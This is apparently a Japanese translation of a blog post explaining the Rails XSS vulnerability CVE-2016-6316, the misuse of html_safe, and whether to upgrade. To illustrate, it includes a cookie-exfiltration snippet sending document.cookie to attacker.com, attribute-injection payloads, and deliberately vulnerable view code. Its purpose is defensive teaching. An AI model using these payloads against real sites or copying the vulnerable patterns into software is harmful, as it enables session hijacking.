こんにちは、hachi8833です。
先週の界隈ウォッチで金星を取った「Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)」を翻訳いたしました。
このような手順は、ベテランのフルスタックエンジニアwなら誰しも行っていることですが、ベテランにとっては当たり前のことであるだけに、このように丁寧に手順を解説してくれる記事は貴重です。また、XSS脆弱性のよい解説にもなっています。
なお、翻訳後に文章を最適化していますので、逐次的に原文と訳文が対応しているとは限りません。
また、元記事にはRailsのXSSとセキュリティのチートシートを無料でダウンロードできるフォームもあります。リンクか以下の画像をクリックしてください。
そのパッチをRailsに当てるべきかを考える
原題: Do I really need to patch my Rails apps? (Understanding CVE-2016-6316)
元記事URL: http://ducktypelabs.com/do-i-really-need-to-upgrade-my-rails-apps/
著者: Sid KrishnanはカナダのトロントでDuck Type Labsというコンサルティングを運営する開発者です。
RubyやRailsで出されるセキュリティ勧告では、Railsアプリケーションを「常に」できるだけ早くアップグレードすることを推奨しています。 残念ながら、修正されるセキュリティ問題についての説明はわかりにくいものが多く、アップグレードが本当に必要かどうかを判断するのは簡単ではありません。
時間や工数が限られているのであれば、内容によってはアップグレードを延期し、壊れたテストの修正に余分な時間をかけない方が判断として優れていることもあります。
注:本記事における「アップグレード」は、「マイナー」アップグレードと「パッチ」のアップグレードを指します(訳注: 「メジャー」アップグレードは含んでいません)。例: Rails 4.2.5.1
から4.2.7.1
へのアップグレード
本記事では、Railの5.0.0.1
/4.2.7.1
/3.2.22.3
で修正されるCVE-2016―6316を例にとって説明します。本記事のねらいは次のとおりです。
- XSS脆弱性の基礎、悪用方法、脆弱性の軽減方法の解説
- Rails
5.0.0.1
/4.2.7.1
で解決されるActionViewのXSS脆弱性[CVE-2016―6316]を題材にした個別の問題の理解の仕方の解説 - アップグレードすべきかどうかを自分で判断する方法の解説
XSSの脆弱性について
XSSはクロスサイトスクリプティング(cross-site scripting)の略です。 アプリケーションにXSSの脆弱性が潜んでいると、攻撃者は悪質なJavascriptをユーザーのブラウザで実行できます。次のようなJavascriptスニペットを例にとってみましょう。
var i = new Image;
i.src = "http://attacker.com/" + document.cookie;
上のスニペットがユーザーのブラウザで実行されると、攻撃者が用意したattacker.com
へのリクエストが作成され、ユーザーのcookieが無断で送信されます。攻撃者がcookieを入手すると、ユーザーのセッションをハイジャックして、アプリケーションの保護領域に不正にアクセスするかもしれません。
XSS脆弱性の種類
XSS脆弱性は、大きく分けて以下の3つがあります。
Reflected XSS
Reflected XSS脆弱性は、Webアプリケーションへのリクエストに含まれるユーザー入力が即座にレスポンスに反映されるときに発生します。
Reflected XSSの脆弱性を悪用するには、リクエストを行うすべてのユーザーに反映される埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。
Stored XSS
あるユーザー(攻撃者)が送信したデータがアプリケーションに格納され、適切にサニタイズされずに他のユーザーに表示されると、Stored XSS脆弱性が発生します。
DOMベースXSS
DOMベースXSS脆弱性は、リクエストのURLやレスポンスのHTML(DOM経由でアクセス可能)に含まれるデータをクライアント側のJavascriptで抽出して、ページのコンテンツを動的に更新するときに発生します。
DOMベースXSSの脆弱性を悪用するには、クライアント側のJavaScriptから悪質なJavaScriptをDOMに挿入して実行させる能力のある埋め込みJavaScriptを書き、それを含むリクエストURLを巧妙に作成します。
3種類のXSSについて、詳しくはOWASPの該当ページ(英語)をお読みください
この記事では、2番目のStored XSSに絞って解説します。
Stored XSS脆弱性を利用して攻撃する方法
こうした脆弱性がどのように発生する可能性があり、攻撃者がその脆弱性をどのようにして利用する可能性があるかを示す例を、ここで考えてみましょう。
脆弱なRailsアプリ
ユーザーアカウントと管理者アカウントのある、ごく普通のRailsアプリケーションを考えてみましょう。
1件のユーザーレコードには、name
、email
、introduction
の3つのフィールドがあるとします。各ユーザーには、これらの情報が表示されるプロファイルページがあります。
このシステムの管理者は、個別ユーザーのプロファイルページのほかに、全ユーザーの情報を表示できる/users/
ページにもアクセスできます。そのページのビューの冒頭で次のコードが使われているとします。
<% #This is accessible only to admins %>
<% User.all.each do |user| %>
<%= user.name %>
<%= user.email %>
<%= user.introduction %>
<% end %>
さて、ユーザが自己紹介文をHTMLで書けるように改修することが決まったとします。自己紹介(introduction)フィールドに"I'm awesome!!"
と書く代わりに"I'm <strong>awesome!!</strong>"
と書けるようにするわけです。
そこで(ついうっかり)html_safe
ヘルパーを使ってuser.introduction
をuser.introduction.html_safe
に変更しましたとしましょう。ユーザーがHTML形式のテキストを送信すると、見事HTMLビューが表示されます。うまくいったように見えます。
攻撃者はこうやって攻略する
上のようなHTMLレンダリングは、攻撃者によって悪用されます。攻撃者がintroduction
フィールドに次の文字列を入力したとします。
I am awesome!!
<script>
var i = new Image;
i.src = "http://attacker.com/" + document.cookie;
</script>
上の文字列がデータベースに格納されてしまったら最後、管理者がログインして/users
ページを表示した瞬間、上のスクリプトが実行され、管理者のcookieが攻撃者のサーバー(attacker.com)のログに記録されてしまうでしょう。
管理者のcookieを盗み出してしまえば、攻撃者が管理者としてログインする可能性はもちろん、もっと悪辣なことをしでかす可能性すらあります。
html_safe
で脆弱性を呼び込んでしまう別の例
上では、html_safe
によってXSSの脆弱性が呼び込まれる簡単な例を紹介しました。ユーザーが入力を自由にカスタマイズできるようにしたかったばかりに、ユーザー入力にhtml_safe
をストレートに適用してしまったのでした。
html_safe
によって呼び込まれてしまうXSS脆弱性の例をもうひとつご紹介しましょう。今度は、ユーザーが入力した文字列にスタイルを適用したいとします。先ほどのRailsアプリの/users
ページで、今度はFont Awesomeをインストールし、それを使って管理者がユーザーのプロファイルページ上のリンクにスタイルを追加できるようにします。ビューのコードは以下のような感じになるでしょう。
<% User.all.each do |user| %>
<%= link_to "<i class='fa fa-user'></i> #{user.name}".html_safe, users_profile_path(user) %>
<%= user.email %>
<%= user.introduction %>
<% end %>
前述の例と同様、このコードも管理者のアカウントをXSS攻撃にさらすことになります。 攻撃者がname
フィールドにJavaScriptを書いて送信すれば、管理者アカウントにアクセスできてしまう可能性があります。
アプリを危険にさらさずにhtml_safe
を使うには
html_safe
はアサーションであるため、html_safe
を「信頼できない文字列」に適用しないことが重要です。html_safe
の文字列とhtml_safe
でない文字列を連結することはできますが、その場合はhtml_safe
でない文字列が確実にエスケープされるよう注意する必要があります。
<%= link_to "<i class='fa fa-user'></i> ".html_safe + "#{user.name}", users_profile_path(user) %>
上のコードであればuser.name
は適切にエスケープされます。これなら、仮に"Bob Foo<script>alert(document.cookie)</script>
のような文字列がname
フィールドに入力されても、以下のように期待どおりエスケープされます。
<a href='...'><i class='fa fa-user'></i> Bob Foo<script>alert(document.cookie)</script></a>
以下のようなまずい状態にはなりませんので、name
フィールドに注入されたJavaScriptが実行されることはありません。
<a href='...'><i class='fa fa-user'></i> Bob Foo <script>alert(document.cookie)</script></a>
その他に、sanitizeヘルパーメソッドを使う方法もあります。sanitize
では、レンダリングを許可するHTMLタグを個別に指定し、それ以外のHTMLタグはすべて自動的に拒否されます。
Railsビューに備わっているXSS保護機構
Rails 3以降では、html_safeが指定されていないコンテンツはすべてデフォルトでエスケープされるようになっています。html_safeの指定は、直接html_safe
を呼ぶかsanitize
で間接的に行えます。同様に、content_tag
やlink_to
などのActionViewヘルパーに渡される文字列もすべてデフォルトでエスケープされます。
CVE-2016-6316の事例
XSS脆弱性への攻撃方法は非常にたくさんあります。適切にエスケープされていない部分に<script>
タグを注入する手法は、その中の1つにすぎません。たとえばでJavaScriptを直接呼び出せるonclick
やonmouseover
などのHTML属性を利用することだってできるのです。
それではRailsのcontent_tag
メソッドで実際の攻撃手法をご覧いただきましょう。content_tag
ヘルパーメソッドは、HTMLタグを直接書く代わりにプログラムで生成できます。たとえば<div>
タグは次のように生成できます。
content_tag(:div, "hi")
このコードはHTMLで次のように表現されます。
<div>hi</div>
content_tag
に引数を追加すれば、タグ属性を追加できます。title
属性を追加したい場合は以下のようにします。
content_tag(:div, "hi", title: "greeting")
HTMLでは次のように表現されます。
<div title="greeting">hi</div>
さて、ユーザー入力が何らかの理由でこのtitle
属性の内容に関連付けられているとしましょう。
つまり、「foo」と入力するとcontent_tag
によって次のHTMLが生成されます。
<div title="foo">hi</div>
ここで仮にcontent_tag
にXSS保護がないとしたら、攻撃者はどんなふうに攻略するでしょうか。
たとえば"onmouseover="alert(document.cookie)
という文字列を入力すれば、次のようなHTMLが生成されてしまいます。
<div title="" onmouseover="alert(document.cookie)"> hi </div>
ポイントは、文字列冒頭にある二重引用符"
です。もしここがエスケープされていなければ、この"
が属性の文字列を閉じる引用符としてブラウザで処理され、"
の後の文字列がまるごと有効なHTMLとして扱われてしまいます。
- Railsでは二重引用符
"
はデフォルトでエスケープされます(content_tag
ヘルパーでもエスケープされます)。 - しかしCVE-2016-6316の脆弱性は、
content_tag
などのヘルパーでhtml_safe
を適用した場合に発生します。
たとえば、ユーザー入力がコントローラからuser_input
インスタンス変数を介してビューに渡され、content_tag
が次のように呼び出されるとしましょう。
<%= content_tag(:div, 'hi', title: @user_input) %>
攻撃者が例の"onmouseover=...
のような文字列を注入したとしても、二重引用符"
はRailsによって自動的にエスケープされ、XSS攻撃は成立しません。
ただし、Rails 4.2.7.1または5.0.0.1より前のバージョンでは、何らかの理由でユーザー入力に次のようにhtml_safe
が適用されてしまっていた場合にこの脆弱性が生じます。
<%= content_tag(:div, 'hi', title: @user_input.html_safe) %>
上のコードでは二重引用符"
が通ってしまうため、エスケープされずにHTMLとしてレンダリングされてしまう可能性があります。つまり、攻撃者が任意のJavaScriptを実行できてしまうことになります。
Rails 4.2.7.1と5.0.0.1用のセキュリティパッチを適用することで、タグヘルパーの属性にhtml_safe
を適用してしまっていた場合でも二重引用符"
がエスケープされるようになります。
アップグレードすべきかどうかの最終判断
「アップグレードするべきでしょうか?」と聞かれれば、「はい」と答えるのが簡単ですし、間違いようがないのも確かです。セキュリティパッチを含むアップグレードならなおさらです。
アップグレードにセキュリティパッチが含まれていないとしても、今後セキュリティパッチを適用するときの手間を軽減するために、可能な限りアップグレードすべきです。
これについては、現状のRailのバージョンが最近リリースされたセキュリティパッチからどのぐらい古いかによって決まります。Railsのバージョンがセキュリティパッチに近ければ近いほど、アップグレードは楽に行なえます。一般に、セキュリティパッチは現在のコードベースを壊さないように作成されますが、直前までのセキュリティパッチがすべて適用済みでなければ新しいセキュリティパッチは適用できません。
作業時間や工数を確保するのが難しい場合でも、せめてセキュリティ情報と、それに関連するパッチによって修正される脆弱性を理解することには時間を割いてください。コードベースに危険が迫っているかをしっかり調査し、脆弱性を緩和するのに必要な方法があればすべて適用してください。
おすすめの対応方法
最も肝心なのは、「常にセキュリティ情報を収集すること」と「パッチがリリースされたらできるだけ速やかに適用する」ことです。そのために役立つ方法をひとつご紹介します。
bundler-auditはおすすめです。このgemを使うことで、セキュリティ情報のメーリングリストを常にチェックする代わりに、定期的にbundle-audit update
を実行することで最新情報をチェックできます。その代わりbundler-auditの実行そのものを忘れたら何にもなりませんのでご注意ください。
CIを導入しているなら、CIのついでにbundle-audit
も実行するとよいでしょう。
古くなったgemがbundler-audit
で検出されたら、bundle update <gem名>
でgemを更新します。必要であればGemfile.lockファイルを直接修正します。
時間が許す限り、適用したパッチのセキュリティ情報をじっくり読み、その種の脆弱性全般についても時間を作って詳しく調べておくこともぜひおすすめします。
本記事を参考にRailsにパッチを適用された方は、ぜひ経過やご感想を(元記事の)コメント欄でお知らせください。Railsのセキュリティについてお知りになりたいことがある方も、ぜひコメント欄にどうぞ。
最後に: 本記事の執筆をすすめてくれたChris Draneと、本記事をレビューしてくれたGabriel Williams(Cloud City)に感謝いたします。